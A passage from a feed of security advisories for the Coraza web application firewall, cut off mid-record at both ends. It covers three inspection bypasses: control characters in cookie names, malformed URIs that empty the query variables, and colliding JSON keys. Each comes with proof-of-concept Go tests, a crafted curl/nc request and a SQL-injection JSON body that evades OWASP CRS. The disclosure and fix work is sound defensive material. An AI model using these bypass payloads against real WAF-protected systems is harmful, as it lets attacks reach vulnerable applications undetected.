`$_COOKIE` | `a` | `\\t'` |\n| Node.js `cookie` package | `a\\v` | `'` |\n\nRFC 6265 itself calls this exact cookie-pair invalid, so there's no single spec-correct reference — but Coraza's boundary handling diverges from 2 of these 3 widely-used backends.\n\nCorrection (2026-10-02): current Werkzeug (3.1.9, checked during review of the 3.8.1 follow-up) keeps `a\\v` as the name, like Node's `cookie` package. The name divergence therefore applies to PHP and to Python's `http.cookies`, not to every Werkzeug version.\n\n## Impact\nAn attacker can pad a `Cookie` header with a CTL adjacent to `=` so Coraza indexes a different name/value than the backend application does. A `SecRule` scoped to a specific cookie name or value can then miss the cookie the application actually processes — a WAF bypass for cookie-carried attacks.\n\n## Affected component\n`internal/cookies.ParseCookies`, consumed via `REQUEST_COOKIES` / `REQUEST_COOKIES_NAMES`.\n\n## Fix\nTrim the full CTL range (not just space/tab) from both ends of the extracted name and value, treating a boundary-adjacent CTL as a delimiter rather than token content — aligning with RFC 6265's `token`/`cookie-octet` grammar.\n\nThe fix does not attempt to resolve what happens when a CTL lands in the *interior* of an otherwise-plausible name (e.g. `ab\\vcd`). That case is disputed among the backends themselves — Python's `http.cookies` rejects the whole pair, PHP strips the CTL from the middle, Node's `cookie` package keeps it — so there is no consensus to converge on. It is left as a separate follow-up rather than guessed at here.\n\n### Implementation note\nThe trim is deliberately hand-rolled (a byte-wise scan on `b <= ' ' || b == 0x7f`, which covers octets `0x00–0x20` plus `0x7F`) rather than delegated to the standard library. This is a conscious choice on a security hot path and should not be \"simplified\" away later:\n\n- **`strings.TrimFunc` was measured and rejected.** It invokes its predicate through a func value once per byte scanned, which Go cannot devirtualize through `strings.indexFunc`. On an Apple M2, parsing a 64 KiB CTL-saturated `Cookie` header costs **167.6 µs** via `TrimFunc` versus **33.9 µs** byte-wise — a ~5× CPU amplification handed to an attacker, on input that is attacker-controlled and parsed on every request. Allocation counts are identical either way; the cost is purely the per-byte indirect call.\n- **`strings.TrimSpace` is not a substitute.** It misses most of the CTL range (`0x00–0x08`, `0x0E–0x1F`, `0x7F`) and additionally trims `U+0085` and `U+00A0`, whose multi-byte UTF-8 encodings a backend would not strip — reintroducing the very parser-disagreement class this advisory closes.\n\nThe byte-wise implementation was verified equivalent to a `TrimFunc`-based one across all 16,843,009 byte strings of length 0–3, including invalid UTF-8, with zero mismatches. `BenchmarkParseCookies/CTLFlood` guards the hot path against a future regression to a per-byte indirect call.\n\n## Proof of Concept (original report)\n\n> Hi, @fzipi, i hope you doing well, i'm RelunSec from InsiteTech.jp\n>\n> we discovered a parser confusion in cookie parser, i used a simple flask app that print the cookies\n>\n> ```py\n> from flask import Flask, request\n>\n> app = Flask(__name__)\n>\n> @app.route('/')\n> def index():\n>     # 1. Print all cookies as a dictionary to your terminal console\n>     print(\"All cookies:\", request.cookies)\n>\n>     return \"Cookies logged in terminal!\"\n>\n> if __name__ == '__main__':\n>     app.run(debug=True)\n> ```\n>\n> and a go setup\n>\n> ```go\n> package cookies\n>\n> import (\n> \t\"fmt\"\n> \t\"testing\"\n> )\n>\n> func TestParseCookie(t *testing.T) {\n> \tinputs := []string{\n> \"a\\v=\\t'\",\n> \t}\n>\n> \tfmt.Println(\"\\n==========================================\")\n> \tfmt.Println(\"     COOKIE PARSE DIRECT LOCAL RUN       \")\n> \tfmt.Println(\"==========================================\")\n>\n> \tfor _, input := range inputs {\n> \t\t// Calling the exact lowercase function name from the repo\n> \t\tcookies := ParseCookies(input)\n>\n> \t\tfmt.Printf(\"-> Input:   %q\\n\", input)\n> \t\tfmt.Printf(\"   Output:  %q\\n\", cookies)\n> \t\tfmt.Println(\"------------------------------------------\")\n> \t}\n> \tfmt.Println(\"==========================================\")\n> }\n> ```\n>\n> i runned the go program as you can see\n>\n> ```go\n> relunsec@relunsec:~/software/coraza/internal/cookies$ go test\n>\n> ==========================================\n>      COOKIE PARSE DIRECT LOCAL RUN\n> ==========================================\n> -> Input:   \"a\\v=\\t'\"\n>    Output:  map[\"a\\v\":[\"\\t'\"]]\n> ------------------------------------------\n> ==========================================\n> PASS\n> ok  \tgithub.com/corazawaf/coraza/v3/internal/cookies\t0.003s\n> ```\n>\n> and then i sended a curl request to the python flask web app\n>\n> ```bash\n> relunsec@relunsec:~/software/coraza/internal/cookies$ curl 127.0.0.1:5000 -H $'Cookie: a\\v=\\t'\n> Cookies logged in terminal!\n> ```\n>\n> and then i saw in the running flask app terminal\n>\n> ```python\n> All cookies: ImmutableMultiDict([('a', \"'\")])\n> ```\n>\n> as you can see python see that as the a cookie and the value of it is `'`, while coraza see it in a different name and a value\n>\n> an attacker can craft a crafted payload that evade cookie inspection and then perfom their attack\n\n### Patched in 3.8.1\n\nThe 3.8.0 fix was incomplete. 3.8.1 completes it: trimming control characters in 3.8.0 turned a cookie whose name is only control characters (`\\x01=payload`) into a cookie with an empty name, and empty names have always been skipped, so its value was no longer inspected. Node's `cookie` package (`{\"\\x01\": \"payload\"}`, `{\"\": \"payload\"}`) and Werkzeug still pass such pairs to the application. 3.8.1 keeps them in `REQUEST_COOKIES` under the name `\"\"`. This is an intentional deviation from ModSecurity v2 and v3, which skip empty names. Upgrade to 3.8.1; 3.8.0 is listed as affected.\n\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N` (4.0, Medium).\n\nUnchanged vector; precondition stated per the project's triage guidance. Attack Complexity is High because the bypass depends on a specific backend cookie parser: the original trim discrepancy affects backends that split `a\\v` as `a` (PHP's `$_COOKIE`, Python's `http.cookies`) and only rules keyed on a cookie name, and the 3.8.0 regression affects backends that pass empty or control-character-only cookie names to the application (Node's `cookie` package, Werkzeug for `\\x01`).\n\nImpact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._","cveId":null,"cvssScore":null,"cvssVector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N","severity":"medium","vendor":"Go","product":"github.com/corazawaf/coraza/v3","affectedVersions":["pkg:golang/github.com/corazawaf/coraza/v3 < 3.8.1"],"cwes":["CWE-436"],"tags":["osv","osv:ghsa-g4qm-m288-5cp9","ecosystem:go"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-g4qm-m288-5cp9","type":"advisory","title":"OSV GHSA-g4qm-m288-5cp9"},{"url":"https://github.com/corazawaf/coraza/security/advisories/GHSA-g4qm-m288-5cp9","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/0b940e197ad9983fb3aa36e84f1f81ff985461af","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/9f8521398d1ff023b958fad0b944cac265763866","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza","type":"vendor","title":"OSV package"},{"url":"https://github.com/corazawaf/coraza/releases/tag/v3.8.1","type":"other","title":"OSV web"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T17:51:30.000Z","addedAt":"2026-10-08T18:42:42.001Z","updatedAt":"2026-10-08T18:42:42.001Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-g4qm-m288-5cp9"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-g4qm-m288-5cp9"}]},{"id":"0f960b54-b98c-4ebd-a526-88e7ce2bd10f","slug":"ghsa-x26q-wvhg-fh4m","externalId":"GHSA-x26q-wvhg-fh4m","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"Coraza: ProcessURI silently drops QUERY_STRING and ARGS_GET on URI parse failure — defense-in-depth bypass for non-net/http integrations","description":"## Root Cause\n\nFile: `internal/corazawaf/transaction.go`, lines 834–866.\n\n```go\nparsedURL, err := url.ParseRequestURI(uri)\nquery := \"\"\nif err != nil {\n    tx.variables.urlencodedError.Set(err.Error())\n    path = uri\n    tx.variables.requestURI.Set(uri)\n    /*\n        tx.Variables.VARIABLE_URI_PARSE_ERROR.Set(\"1\")\n        posRawQuery := strings.Index(uri, \"?\")\n        if posRawQuery != -1 {\n            tx.ExtractArguments(\"GET\", uri[posRawQuery+1:])\n            path = uri[:posRawQuery]\n            query = uri[posRawQuery+1:]\n        } else {\n            path = uri\n        }\n        tx.Variables.RequestUri.Set(uri)\n    */\n} else {\n    tx.ExtractGetArguments(parsedURL.RawQuery)   // only path that populates ARGS_GET\n    tx.variables.requestURI.Set(parsedURL.String())\n    path = parsedURL.Path\n    query = parsedURL.RawQuery\n}\n...\ntx.variables.queryString.Set(query)\n```\n\nWhen `url.ParseRequestURI(uri)` returns an error — which Go's stdlib does for any URI containing raw control bytes (`\\x00`, `\\n`, `\\r`, `\\t`, other `0x00–0x1F`, `0x7F`) — the error branch silently produces an empty `QUERY_STRING` and an empty `ARGS_GET` collection. The fallback logic that should split on `?` and populate the GET arguments from the raw tail is already present in the source as a commented-out block, referencing a `VARIABLE_URI_PARSE_ERROR` variable that was never wired up.\n\nConsequences on the error branch:\n\n- `ARGS_GET` / `ARGS_GET_NAMES` / `ARGS` (union) are **empty** — `ExtractGetArguments` is never called.\n- `QUERY_STRING` is **empty** (initial `query := \"\"` at line 835 persists through to `queryString.Set(query)` at line 866).\n- `REQUEST_FILENAME` / `REQUEST_BASENAME` contain the entire URI including any `?…` query suffix (because `path = uri` at line 838 bypasses the parse, and the subsequent `strings.LastIndexAny(path, \"/\\\\\")` runs over the raw URI).\n- `URLENCODED_ERROR` is set to the Go error message. That variable is *also* set by the urlencoded body processor on body-decode failures, so an operator cannot distinguish \"malformed URI\" from \"malformed request body\" without string-matching the error text.\n- `REQUEST_URI_RAW` (set unconditionally at line 822, before the parse) **is** populated correctly.\n\nAny rule targeting `ARGS_GET`, `ARGS`, `ARGS_NAMES`, `ARGS_GET_NAMES`, or `QUERY_STRING` — which is the default target set for the vast majority of OWASP CRS GET-side signature rules — does not fire against attacker content that reaches Coraza via a URI Go's `net/url` rejects.\n\n## Reachability\n\nThis issue **does not affect the standard `coraza/v3/http` + `net/http` integration**. Go's `http.ReadRequest` calls `url.ParseRequestURI` first and rejects malformed URIs with `400 Bad Request` before `ProcessURI` is invoked. Verified experimentally against a Coraza-wrapped `net/http` server — a raw request with a control-byte-laced URI produced `HTTP 400`, and the handler was never reached.\n\nThe bug is reachable when an integration forwards raw URI bytes to `tx.ProcessURI` directly, bypassing Go's HTTP parser:\n\n- **`coraza-spoa`** — HAProxy SPOP agent. Receives URI from HAProxy, which permits bytes `net/http` rejects.\n- **`coraza-proxy-wasm`** — Envoy WASM filter. Passes the `:path` pseudo-header from Envoy.\n- Custom FFI/WASM hosts and any embedder calling `tx.ProcessURI(rawURI, method, httpVersion)` with bytes not pre-validated by Go's URL parser.\n\nThis gates the attack to Attack Complexity:High — a standard Go HTTP deployment is not exposed.\n\n## Proof of Concept\n\nDirect-API reproduction (simulating the non-net/http integration path):\n\n```go\nwaf, _ := coraza.NewWAF(coraza.NewWAFConfig().WithDirectives(`\nSecRuleEngine On\nSecRule ARGS_GET     \"@contains ATTACK_HERE_XYZ\" \"id:9001,phase:1,deny,status:403\"\nSecRule QUERY_STRING \"@contains ATTACK_HERE_XYZ\" \"id:9002,phase:1,deny,status:403\"\n`))\n\nfor _, uri := range []string{\n    \"/search?q=ATTACK_HERE_XYZ\",                    // baseline\n    \"/search?q=ATTACK_HERE_XYZ\\x00&y=1\",            // NUL byte\n    \"/search?q=ATTACK_HERE_XYZ\\ninjected: header\",  // bare LF\n    \"/search?q=ATTACK_HERE_XYZ\\rhdr: x\",            // bare CR\n    \"/search?q=ATTACK_HERE_XYZ\\tx=1\",               // tab\n} {\n    tx := waf.NewTransaction()\n    tx.ProcessURI(uri, \"GET\", \"HTTP/1.1\")\n    it := tx.ProcessRequestHeaders()\n    // inspect tx.Variables().QueryString().Get() and tx.Variables().ArgsGet().FindAll()\n    tx.Close()\n}\n```\n\nObserved:\n\n| URI | `QUERY_STRING` | `ARGS_GET` | interrupted? |\n|---|---|---|---|\n| `/search?q=ATTACK_HERE_XYZ` | `q=ATTACK_HERE_XYZ` | 1 entry | **yes (403)** |\n| `/search?q=ATTACK_HERE_XYZ\\x00&y=1` | `\"\"` | 0 entries | **no — BYPASS** |\n| `/search?q=ATTACK_HERE_XYZ\\ninjected: header` | `\"\"` | 0 entries | **no — BYPASS** |\n| `/search?q=ATTACK_HERE_XYZ\\rhdr: x` | `\"\"` | 0 entries | **no — BYPASS** |\n| `/search?q=ATTACK_HERE_XYZ\\tx=1` | `\"\"` | 0 entries | **no — BYPASS** |\n\n`REQUEST_URI_RAW` is populated correctly in every case (line 822 sets it before the parse), so a rule written against `REQUEST_URI_RAW` still catches the attack. CRS and most operator-written rules target `ARGS_GET` / `ARGS` / `QUERY_STRING` — those do not fire.\n\nHTTP-layer reachability check (stock `net/http`):\n\n```\n$ printf 'GET /?q=ATTACK_HERE_XYZ\\x00&y=1 HTTP/1.1\\r\\nHost: x\\r\\n\\r\\n' | nc 127.0.0.1 8092\nHTTP/1.1 400 Bad Request\n```\n\nConfirms the exposure is limited to non-net/http integrations.\n\n## Mitigation\n\nRecommended fixes, in order:\n\n### 1. Re-enable the existing fallback and wire up `URI_PARSE_ERROR`\n\nThe code to fix this is already present as a commented-out block at `transaction.go:840–851`. Re-enable it, promote the referenced `VARIABLE_URI_PARSE_ERROR` to a real transaction variable, and populate `ARGS_GET` / `QUERY_STRING` from the raw `?…` tail:\n\n```go\nif err != nil {\n    tx.variables.urlencodedError.Set(err.Error())\n    tx.variables.uriParseError.Set(\"1\")               // new variable\n    tx.variables.requestURI.Set(uri)\n    if i := strings.Index(uri, \"?\"); i != -1 {\n        path = uri[:i]\n        query = uri[i+1:]\n        tx.ExtractGetArguments(query)                  // populate ARGS_GET\n    } else {\n        path = uri\n    }\n} else {\n    ...\n}\n```\n\n### 2. Ship a companion rule in `coraza.conf-recommended`\n\n```conf\nSecRule URI_PARSE_ERROR \"@eq 1\" \\\n    \"id:'200010',phase:1,t:none,log,deny,status:400,msg:'URI failed to parse'\"\n```\n\nThis gives operators a fail-closed default (analogous to rule 200003 for multipart strict error and rule 200002 for body-parse error), so non-net/http integrations at least stop the request regardless of downstream rule coverage.\n\n### 3. Do not overload `URLENCODED_ERROR`\n\nThe current code uses `URLENCODED_ERROR` for URI parse failures. That variable is also set by the urlencoded body processor on body-decode errors; operators cannot distinguish the two causes without string-matching the error text, and any rule they add will fire on both classes of failure. A dedicated `URI_PARSE_ERROR` variable (per the commented-out TODO) is the right shape.\n\n## Affected versions\n\nAll releases on the v3 branch (`>= 3.0.0, <= 3.7.0`); the silent-drop behavior has been present since the first v3 release. Only deployments using non-net/http integrations (coraza-spoa, coraza-proxy-wasm, custom FFI) are exposed in practice.\n\n## References\n\n- `internal/corazawaf/transaction.go` lines 834–866 (ProcessURI error branch)\n- `internal/corazawaf/transaction.go` line 822 (`REQUEST_URI_RAW` is populated before the parse, which is why `REQUEST_URI_RAW`-targeted rules still catch the attack)\n- Commented-out fallback at lines 840–851 referencing `VARIABLE_URI_PARSE_ERROR`\n- CWE-20 — Improper Input Validation\n- CWE-436 — Interpretation Conflict\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N` (4.0, Medium).\n\nAttack Complexity stays High: the bypass only applies to integrations that pass Coraza a raw URI that Go's URL parser rejects, which `net/http` does not. The previous vector scored Integrity High (6.8); it is scored here like Coraza's other inspection bypasses.\n\nImpact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._","cveId":null,"cvssScore":null,"cvssVector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N","severity":"medium","vendor":"Go","product":"github.com/corazawaf/coraza/v3","affectedVersions":["pkg:golang/github.com/corazawaf/coraza/v3 >= 3.0.0, < 3.8.0"],"cwes":["CWE-20","CWE-436"],"tags":["osv","osv:ghsa-x26q-wvhg-fh4m","ecosystem:go"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-x26q-wvhg-fh4m","type":"advisory","title":"OSV GHSA-x26q-wvhg-fh4m"},{"url":"https://github.com/corazawaf/coraza/security/advisories/GHSA-x26q-wvhg-fh4m","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/0321af96cef18fbafb40980cf075d7cc449a66fa","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza","type":"vendor","title":"OSV package"},{"url":"https://github.com/corazawaf/coraza/releases/tag/v3.8.0","type":"other","title":"OSV web"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T17:46:00.000Z","addedAt":"2026-10-08T18:42:41.862Z","updatedAt":"2026-10-08T18:42:41.862Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-x26q-wvhg-fh4m"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-x26q-wvhg-fh4m"}]},{"id":"43c75833-2492-4e9f-abd9-daa94e9b859d","slug":"ghsa-5gj4-9gm7-2fx2","externalId":"GHSA-5gj4-9gm7-2fx2","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"Coraza body processor has a JSON key collision that allows unauthenticated attackers to bypass OWASP CRS inspection","description":"### Summary\n\nCoraza's JSON body processor converts nested JSON properties into dot-separated `ARGS_POST` names without escaping dots contained in literal property names. Two distinct JSON properties can therefore collapse into the same Coraza variable\n\nAn unauthenticated attacker can place a malicious value in a nested property and then overwrite only Coraza's representation with a harmless dotted property:\n\n```json\n{\n  \"account\": {\n    \"role\": \"1' OR '1'='1\"\n  },\n  \"account.role\": \"safe\"\n}\n```\n\nCoraza stores both properties as `ARGS_POST:json.account.role`; the later value `safe` replaces the SQL-injection value. Standard backend JSON parsers preserve the two distinct properties and expose the malicious nested value as `account.role`.\n\nThis bypasses the complete current OWASP Core Rule Set (CRS) for the hidden value. In the supplied control-pair PoC, CRS v4.25 blocks the nested SQL-injection value with rule `949110`. Adding the dotted decoy makes the same attack pass with no interruption, while Go's standard JSON parser still returns the malicious nested value.\n\n### Details\n\nThe affected component is the JSON body processor in [`internal/bodyprocessors/json.go`](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L21-L48).\n\n`readJSON` creates a single `map[string]string` and begins every generated path with `json`:\n\n```go\nfunc readJSON(s string, maxRecursion int) (map[string]string, error) {\n    res := make(map[string]string)\n    key := []byte(\"json\")\n\n    json := gjson.Parse(s)\n    err := readItems(json, key, maxRecursion, res)\n    // ...\n}\n```\n\nSource: [`internal/bodyprocessors/json.go`, lines 81-94](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L81-L94).\n\nFor every object level, `readItems` appends a literal dot followed by the unescaped property name:\n\n```go\nprevParentLength := len(objKey)\nobjKey = append(objKey, '.')\nif key.Type == gjson.String {\n    objKey = append(objKey, key.Str...)\n}\n```\n\nSource: [`internal/bodyprocessors/json.go`, lines 111-120](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L111-L120).\n\nScalar values are stored in the map using the resulting flattened string:\n\n```go\nres[string(objKey)] = val\n```\n\nSource: [`internal/bodyprocessors/json.go`, lines 122-145](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L122-L145).\n\nThis produces a collision:\n\n```text\nNested property:       {\"account\":{\"role\":\"ATTACK\"}}\nGenerated Coraza key:  json.account.role\n\nLiteral dotted key:    {\"account.role\":\"SAFE\"}\nGenerated Coraza key:  json.account.role\n```\n\nBecause both values use the same Go map key, the property appearing later in the JSON document overwrites the earlier value. The malicious value no longer exists anywhere in the ordinary `ARGS_POST` collection.\n\n`ProcessRequest` subsequently copies only the final map entries into `ARGS_POST`:\n\n```go\ndata, err := readJSON(ss, bpo.RequestBodyRecursionLimit)\nfor key, value := range data {\n    col.SetIndex(key, 0, value)\n}\n```\n\nSource: [`internal/bodyprocessors/json.go`, lines 29-39](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L29-L39).\n\nThe JSON remains valid, so Coraza does not set `REQBODY_ERROR`. A normal backend parser does not flatten property names and therefore keeps the nested `account.role` value separate from the literal top-level `\"account.role\"` property.\n\nCoraza's [recommended configuration enables JSON processing](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/coraza.conf-recommended#L20-L45), and OWASP CRS rules inspect the generated argument collection. This makes the issue reachable in a standard Coraza and CRS deployment.\n\nThe bypass was reproduced against CRS v4.25 under all of the following configurations:\n\n- Default build\n- `coraza.no_memoize`\n- `coraza.rule.multiphase_evaluation`\n- `coraza.rule.no_regex_multiline`\n\n### PoC\n\nThe PoC uses Coraza's existing CRS regression module and its pinned `github.com/corazawaf/coraza-coreruleset/v4` dependency. It proves three facts:\n\n1. CRS blocks the malicious nested value when no collision exists.\n2. The dotted decoy makes the same CRS configuration permit the request.\n3. Go's standard JSON parser still exposes the malicious nested value to the backend.\n\n1. Save the following file as `testing/coreruleset/json_collision_security_test.go`:\n\n```go\npackage coreruleset\n\nimport (\n    \"encoding/json\"\n    \"os\"\n    \"path/filepath\"\n    \"strings\"\n    \"testing\"\n\n    \"github.com/corazawaf/coraza/v3\"\n    coreruleset \"github.com/corazawaf/coraza-coreruleset/v4\"\n)\n\nfunc TestJSONFlattenedKeyCollisionBypassesCRS(t *testing.T) {\n    recommended, err := os.ReadFile(\n        filepath.Join(\"..\", \"..\", \"coraza.conf-recommended\"),\n    )\n    if err != nil {\n        t.Fatal(err)\n    }\n\n    cfg := coraza.NewWAFConfig().\n        WithRootFS(coreruleset.FS).\n        WithDirectives(string(recommended)).\n        WithDirectives(\"SecRuleEngine On\").\n        WithDirectives(\"Include @crs-setup.conf.example\").\n        WithDirectives(\"Include @owasp_crs/*.conf\")\n\n    waf, err := coraza.NewWAF(cfg)\n    if err != nil {\n        t.Fatal(err)\n    }\n\n    tests := []struct {\n        name      string\n        body      string\n        wantBlock bool\n    }{\n        {\n            name:      \"attack without collision is blocked\",\n            body:      `{\"account\":{\"role\":\"1' OR '1'='1\"}}`,\n            wantBlock: true,\n        },\n        {\n            name: \"same attack with dotted decoy bypasses CRS\",\n            body: `{\"account\":{\"role\":\"1' OR '1'='1\"},` +\n                `\"account.role\":\"safe\"}`,\n            wantBlock: false,\n        },\n    }\n\n    for _, tt := range tests {\n        t.Run(tt.name, func(t *testing.T) {\n            // Prove what a normal backend sees before running Coraza.\n            var backend struct {\n                Account struct {\n                    Role string `json:\"role\"`\n                } `json:\"account\"`\n            }\n            if err := json.NewDecoder(strings.NewReader(tt.body)).Decode(&backend); err != nil {\n                t.Fatal(err)\n            }\n            if backend.Account.Role != \"1' OR '1'='1\" {\n                t.Fatalf(\"backend lost attack value: %q\", backend.Account.Role)\n            }\n\n            tx := waf.NewTransaction()\n            defer tx.Close()\n\n            tx.ProcessConnection(\"127.0.0.1\", 12345, \"127.0.0.1\", 80)\n            tx.ProcessURI(\"/\", \"POST\", \"HTTP/1.1\")\n            tx.AddRequestHeader(\"Host\", \"localhost\")\n            tx.AddRequestHeader(\"User-Agent\", \"security-test\")\n            tx.AddRequestHeader(\"Content-Type\", \"application/json\")\n\n            if interruption := tx.ProcessRequestHeaders(); interruption != nil {\n                t.Fatalf(\"unexpected header interruption: %#v\", interruption)\n            }\n\n            interruption, _, err := tx.WriteRequestBody([]byte(tt.body))\n            if err != nil || interruption != nil {\n                t.Fatalf(\"body write: interruption=%#v error=%v\", interruption, err)\n            }\n\n            interruption, err = tx.ProcessRequestBody()\n            if err != nil {\n                t.Fatal(err)\n            }\n\n            blocked := interruption != nil\n            t.Logf(\"blocked=%v interruption=%#v\", blocked, interruption)\n            if blocked != tt.wantBlock {\n                t.Fatalf(\"blocked=%v, want %v\", blocked, tt.wantBlock)\n            }\n        })\n    }\n}\n```\n\n2. Run the default-build test:\n\n```bash\ncd testing/coreruleset\ngo test -run TestJSONFlattenedKeyCollisionBypassesCRS -v\n```\n\n3. Expected reproduction output:\n\n```text\n=== RUN   TestJSONFlattenedKeyCollisionBypassesCRS\n=== RUN   TestJSONFlattenedKeyCollisionBypassesCRS/attack_without_collision_is_blocked\n    blocked=true interruption=&types.Interruption{RuleID:949110, Action:\"deny\", Status:403, Data:\"\"}\n=== RUN   TestJSONFlattenedKeyCollisionBypassesCRS/same_attack_with_dotted_decoy_bypasses_CRS\n    blocked=false interruption=(*types.Interruption)(nil)\n--- PASS: TestJSONFlattenedKeyCollisionBypassesCRS\nPASS\n```\n\n4. The build-tag variants can be reproduced with:\n\n```bash\ngo test -tags=coraza.no_memoize -run TestJSONFlattenedKeyCollisionBypassesCRS -v\ngo test -tags=coraza.rule.multiphase_evaluation -run TestJSONFlattenedKeyCollisionBypassesCRS -v\ngo test -tags=coraza.rule.no_regex_multiline -run TestJSONFlattenedKeyCollisionBypassesCRS -v\n```\n\nAll four configurations produced the same result: the control was blocked by CRS rule `949110`, while the collision request passed without interruption.\n\n### Impact\n\nThis is a parser differential and WAF inspection bypass affecting Coraza deployments that inspect JSON, including deployments using the current OWASP Core Rule Set.\n\nAn unauthenticated attacker can hide any malicious nested scalar value by adding a later top-level property whose literal dotted name collides with the path Coraza generates. Coraza and CRS inspect only the harmless replacement value, while backend JSON parsers retain and expose the malicious nested value.\n\nThe primitive is not limited to SQL injection. It removes the attacker-selected value from the collection evaluated by CRS, so it applies to nested values containing:\n\n- SQL injection payloads\n- operating-system command injection payloads\n- cross-site scripting payloads\n- server-side template injection payloads\n- path traversal and local-file-inclusion payloads\n- language- or framework-specific exploit strings\n- forbidden application values inspected by custom SecLang rules\n\nThe PoC demonstrates a stock CRS SQL-injection detection bypass: the same backend-visible attack changes from a 403 denial to an allowed request solely by adding the colliding decoy property.\n\nApplications that deserialize nested JSON objects are impacted. For example, Node.js applications using `JSON.parse` or JSON middleware and Go applications using `encoding/json` preserve the nested malicious value separately from the literal dotted property.\n\nThe final confidentiality, integrity, or availability impact depends on the backend vulnerability that CRS was deployed to mitigate. The Coraza security boundary failure itself is broad and reliable: arbitrary attacker-selected nested JSON values can be removed from normal rule inspection without making the JSON invalid or raising a body-processing error.\n\nThe remediation must make flattened paths unambiguous. Literal property-name separators must be escaped or encoded so that a nested path and a property containing dots cannot produce the same collection key. Coraza should also preserve multiple source values rather than silently overwriting a prior value when a generated-key collision occurs. A collision should never remove content from WAF inspection\n\n## Follow-up (2026-09-30): case-folding variant still overwrites values\n\nThe \"Resolution\" section above states values are copied into\n`ARGS_POST`/`RESPONSE_ARGS` via `SetIndex(key, i, value)` so that a colliding\nkey becomes a multi-valued collection entry. That closes the collision this\nadvisory originally reported (two flattened keys with byte-identical text),\nbut a second, distinct collision shares the exact same failure mode and was\nfound while verifying the fix.\n\n### Root cause\n\n`ARGS_POST` is case-insensitive by default (case-sensitive only under the\n`coraza.rule.case_sensitive_args_keys` build tag), and `RESPONSE_ARGS` is\n*always* case-insensitive regardless of that tag\n(`internal/corazawaf/transaction.go:1929`). Two flattened keys that differ\nonly by case -- `json.account.role` vs `json.account.Role` -- are distinct\nentries in `readJSON`'s own case-sensitive intermediate map\n(`map[string][]string`), but fold to the *same* collection bucket once\nwritten through `SetIndex`:\n\n```go\n// internal/bodyprocessors/json.go, ProcessRequest / ProcessResponse\nfor key, values := range data {\n    for i, value := range values {\n        col.SetIndex(key, i, value)\n    }\n}\n```\n\nEach `SetIndex(key, i, value)` call addresses index `i` of whatever bucket\n`key` case-folds to, with no knowledge that a different-cased key is also\nwriting to that same bucket. Iteration order over `data` (a plain Go map) is\nrandomized, so whichever of the two keys is visited *second* overwrites\nindex 0 of whichever was visited *first* -- deterministically leaving\nexactly one survivor every single request, just an unpredictable one.\n\n### PoC\n\n```json\n{\"account\":{\"role\":\"1' OR '1'='1\",\"Role\":\"safe\"}}\n```\n\nOver 200 trials of `readJSON` + `SetIndex` against this body, the attack\nvalue (`1' OR '1'='1`) survived only 22 times (11%); the harmless value\n(`safe`) silently replaced it the other 178 times. With CRS v4.25 and the\nrecommended configuration, an equivalent SQLi rule blocked only 8/100\nrequests with one decoy key and 14/100 with seven decoy keys planted at\ndifferent case variants -- both Node.js and Python's JSON parsers keep\n`role = \"1' OR '1'='1\"` in every case, so this is a real bypass, not a\nparser-disagreement edge case. `RESPONSE_ARGS` is affected identically, 